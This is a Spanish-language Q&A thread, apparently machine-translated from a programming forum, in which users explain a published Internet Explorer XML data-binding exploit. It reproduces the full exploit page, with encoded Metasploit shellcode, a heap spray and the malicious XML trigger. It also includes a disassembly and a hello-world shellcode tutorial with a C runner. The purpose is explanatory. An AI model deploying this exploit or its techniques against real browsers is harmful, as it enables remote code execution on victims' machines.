variable print number float declarar javascript x86 exploit assembly

print - Ayúdame a entender este exploit de JavaScript



string variable javascript (9)

Normalmente no tengo dificultad para leer el script de JavaScript, pero este no puedo entender la lógica. El código es de un exploit que se publicó hace 4 días. Puedes encontrarlo en milw0rm .

Aquí está el código:

<html> <div id="replace">x</div> <script> // windows/exec - 148 bytes // http://www.metasploit.com // Encoder: x86/shikata_ga_nai // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); // ugly heap spray, the d0nkey way! // works most of the time var spray = unescape("%u0a0a%u0a0a"); do { spray += spray; } while(spray.length < 0xd0000); memory = new Array(); for(i = 0; i < 100; i++) memory[i] = spray + shellcode; xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>"; tag = document.getElementById("replace"); tag.innerHTML = xmlcode; </script> </html>

Esto es lo que creo que es y me gustaría que me ayude por la parte que no entiendo bien.

La variable shellcode contiene el código para abrir calc.exe. No entiendo cómo han encontrado esa extraña cuerda ... ¿alguna idea?

Lo segundo es el spray variable. No entiendo este extraño bucle?

La tercera cosa es la memory variable que nunca se usa en ninguna parte, ¿por qué la crean?

Lo último, ¿qué hace la etiqueta XML en la página?

Actualizar

De acuerdo, por el momento tengo buenas respuestas, pero en general son muy generales. Me gustaría obtener más explicaciones sobre el valor del código. Un ejemplo es unescape("%u0a0a%u0a0a"); . Qué significa eso? Lo mismo para el ciclo, ¿por qué el desarrollador escribió: length < 0xd0000 ? Me gustaría una comprensión más profunda, no solo la teoría de este código.

Cada vez que veo memoria que no se soluciona en una discusión de explotación, lo primero que pienso es que el exploit es algún tipo de desbordamiento de buffer, en cuyo caso la memoria está causando que el buffer se desborde o se acceda una vez que el buffer se desborda .

Ejemplo simple de shellcode

hola mundo en ensamble at & t syntax x86 creo (Wizzard in Training).

configure el archivo: vim shellcodeExample.s

.text #required .goblal _start #required _start: #main function jmp one #jump to the section labeled one: two: pop %rcx #pop %rcx off the stack, or something xor %rax, %rax #Clear movl 4, %rax #use sys_write(printf || std::cout) xor %rbx, %rbx #Clear inc %rbx #increment %rbx to 1 stdout(terminal) xor %rdx, %rdx #Clear Registers or something movb $13, %dl #String Size int $0x80 one: call two #jump up to section two: .ascii "Hello World/r/n" #make the string one of the starting memory #^-addresses

compile de esta manera: as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o

Ahora tienes un binario que imprime hola mundo. para convertir el binario en el tipo de código shell en: objdump -D shellcode

obtendrá la salida:

shellcode: file format elf64-x86-64 Disassembly of section .text: 0000000000400078 <.text>: 400078: eb 1a jmp 0x400094 40007a: 59 pop %rcx 40007b: 48 31 c0 xor %rax,%rax 40007e: b0 04 mov $0x4,%al 400080: 48 31 db xor %rbx,%rbx 400083: 48 ff c3 inc %rbx 400086: 48 31 d2 xor %rdx,%rdx 400089: b2 0d mov $0xd,%dl 40008b: cd 80 int $0x80 40008d: b0 01 mov $0x1,%al 40008f: 48 ff cb dec %rbx 400092: cd 80 int $0x80 400094: e8 e1 ff ff ff callq 0x40007a 400099: 68 65 6c 6c 6f pushq $0x6f6c6c65 40009e: 20 77 6f and %dh,0x6f(%rdi) 4000a1: 72 6c jb 0x40010f 4000a3: 64 fs 4000a4: 0d .byte 0xd 4000a5: 0a .byte 0xa

Ahora, si miras la cuarta línea con texto, verás: 400078: eb 1a jmp 0x400094

la parte que dice eb 1a es la representación hexadecimal de la instrucción de ensamblaje jmp one donde "uno" es la dirección de memoria de su cadena.

para preparar su shellcode para la ejecución abra otro archivo de texto y almacene los valores hexadecimales en una matriz de caracteres. Para formatear el código del shell correctamente, escriba /x antes de cada valor hexadecimal.

el próximo ejemplo de código de shell se verá como el siguiente según el resultado del comando objdump:

unsigned char PAYLOAD[] = "/xeb/x1a/x59/x48/x31/xc0/xb0/x04/x48/x31/xdb/x48/xff/xc3/x48/x31/xd2/xb2/xd0/xcd/x80/xb0/x01/x48/xff/xcb/xcd/x80/xe8/xe1/xff/xff/xff/x68/x65/x6c/x6c/x6f/x20/x77/x6f/x72/x6c/x64/x0d/x0a";

Este ejemplo usa C para la matriz. Ahora tiene Shellcode en funcionamiento que escribirá en stdout "hello world"

puede probar el código del shell colocándolo en una vulnerabilidad o puede escribir el siguiente programa c para probarlo:

vim execShellcode.cc; //linux command to create c file. /*Below is the content of execShellcode.cc*/ unsigned char PAYLOAD[] = "/xeb/x1a/x59/x48/x31/xc0/xb0/x04/x48/x31/xdb/x48/xff/xc3/x48/x31/xd2/xb2/xd0/xcd/x80/xb0/x01/x48/xff/xcb/xcd/x80/xe8/xe1/xff/xff/xff/x68/x65/x6c/x6c/x6f/x20/x77/x6f/x72/x6c/x64/x0d/x0a"; int main(){ ((void(*)(void))PAYLOAD)(); return 0; }

Para compilar el tipo de programa en:

gcc -fno-stack-protector -z execstack execShellcode.cc -o run

ejecutar con ./run Usted tiene un ejemplo práctico de desarrollo de shellcode simple que se probó en linux mint / debian.

El shellcode contiene algunas instrucciones de ensamblaje x86 que harán el verdadero exploit. spray crea una larga secuencia de instrucciones que se pondrán en la memory . Dado que normalmente no podemos encontrar la ubicación exacta de nuestro shellcode en la memoria, ponemos muchas instrucciones de nop antes y saltamos a algún lugar allí. La matriz de memory contendrá el código x86 real junto con el mecanismo de salto. Le proporcionaremos el XML creado a la biblioteca que tiene un error. Cuando se analiza, el error hará que el registro del puntero de instrucción se asigne a algún lugar de nuestro exploit, lo que lleva a la ejecución de código arbitrario.

Para entender más profundamente, debería averiguar qué contiene el código x86. unscape se usará para poner la secuencia de bytes representada de la cadena en la variable de spray . Es un código x86 válido que llena una gran parte del montón y salta al inicio de Shellcode. El motivo de la condición final es la limitación de longitud de cadena del motor de scripting. No puede tener cadenas más grandes que una longitud específica.

En el ensamblaje x86, 0a0a representa or cl, [edx] . Esto es efectivamente equivalente a la instrucción nop para los propósitos de nuestro exploit. Donde sea que saltemos en el spray , llegaremos a la siguiente instrucción hasta que lleguemos al shellcode, que es el código que realmente queremos ejecutar.

Si miras el XML, verás que 0x0a0a está allí. La descripción exacta de lo que sucede requiere un conocimiento específico del exploit (hay que saber dónde está el error y cómo se explota, lo que no sé). Sin embargo, parece que innerHtml a Internet Explorer a desencadenar el código innerHtml configurando innerHtml en esa cadena XML maliciosa. Internet Explorer intenta analizarlo y el código de error de alguna manera da control a una ubicación de memoria donde existe la matriz (ya que es una gran parte, la probabilidad de saltar allí es alta). Cuando saltemos allí, la CPU seguirá ejecutando or cl, [edx] hasta que alcance el comienzo del shellcode que está en la memoria.

Desmonte el shellcode:

00000000 C9 leave 00000001 2B1F sub ebx,[edi] 00000003 B10C mov cl,0xc 00000005 BDC536DB9B mov ebp,0x9bdb36c5 0000000A D9C5 fld st5 0000000C 2474 and al,0x74 0000000E 5A pop edx 0000000F F4 hlt 00000010 EA8331FC0B6A6A jmp 0x6a6a:0xbfc3183 00000017 03D4 add edx,esp 00000019 07 pop es 0000001A 67305CFF xor [si-0x1],bl 0000001E 98 cwde 0000001F BBD7FFA4FE mov ebx,0xfea4ffd7 00000024 9B wait 00000025 74AD jz 0xffffffd4 00000027 058B8B028D add eax,0x8d028b8b 0000002C D893BCCD35A2 fcom dword [ebx+0xa235cdbc] 00000032 37 aaa 00000033 B84290A63A mov eax,0x3aa69042 00000038 94 xchg eax,esp 00000039 E99AA4D58D jmp 0x8dd5a4d8 0000003E E5A3 in eax,0xa3 00000040 1F pop ds 00000041 4C dec esp 00000042 EB46 jmp short 0x8a 00000044 4B dec ebx 00000045 8CD0 mov eax,ss 00000047 AD lodsd 00000048 A844 test al,0x44 0000004A 52 push edx 0000004B 4A dec edx 0000004C 3B81B80DD748 cmp eax,[ecx+0x48d70db8] 00000052 4B dec ebx 00000053 D46C aam 0x6c 00000055 46 inc esi 00000056 1392734A204F adc edx,[edx+0x4f204a73] 0000005C F8 clc 0000005D 6E outsb 0000005E DC8EA20726B4 fmul qword [esi+0xb42607a2] 00000064 04D4 add al,0xd4 00000066 D084ECBA978221 rol byte [esp+ebp*8+0x218297ba],1 0000006D 7CE8 jl 0x57 0000006F C0CA8C ror dl,0x8c 00000072 F4 hlt 00000073 A6 cmpsb 00000074 47 inc edi 00000075 210D2EA0B0CD and [0xcdb0a02e],ecx 0000007B 2CA8 sub al,0xa8 0000007D B05B mov al,0x5b 0000007F 43 inc ebx 00000080 F4 hlt 00000081 24E8 and al,0xe8 00000083 7A9C jpe 0x21 00000085 BB857DCBA0 mov ebx,0xa0cb7d85 0000008A 7DED jnl 0x79 0000008C 92 xchg eax,edx 0000008D 09E1 or ecx,esp 0000008F 96 xchg eax,esi 00000090 315580 xor [ebp-0x80],edx

Comprender este Shellcode requiere conocimientos de ensamblaje x86 y el problema en la biblioteca de MS en sí (para saber cuál es el estado del sistema cuando llegamos aquí), ¡no JavaScript! Este código, a su vez, ejecutará calc.exe .

Esto es de metasploit, eso significa que está usando uno de los códigos de shell de metasploit. Es de código abierto, así que puedes ir y tomarlo: http://www.metasploit.com/

Esto parece una explotación del reciente error de Internet Explorer para el cual Microsoft lanzó el parche de emergencia. Utiliza una falla en la función de enlace de datos del controlador XML de Microsoft, que hace que la memoria de montón se desasigne de manera incorrecta.

Shellcode es un código de máquina que se ejecutará cuando ocurra el error. La pulverización y la memoria son solo algunos espacios asignados en el montón para ayudar a que se produzca la condición explotable.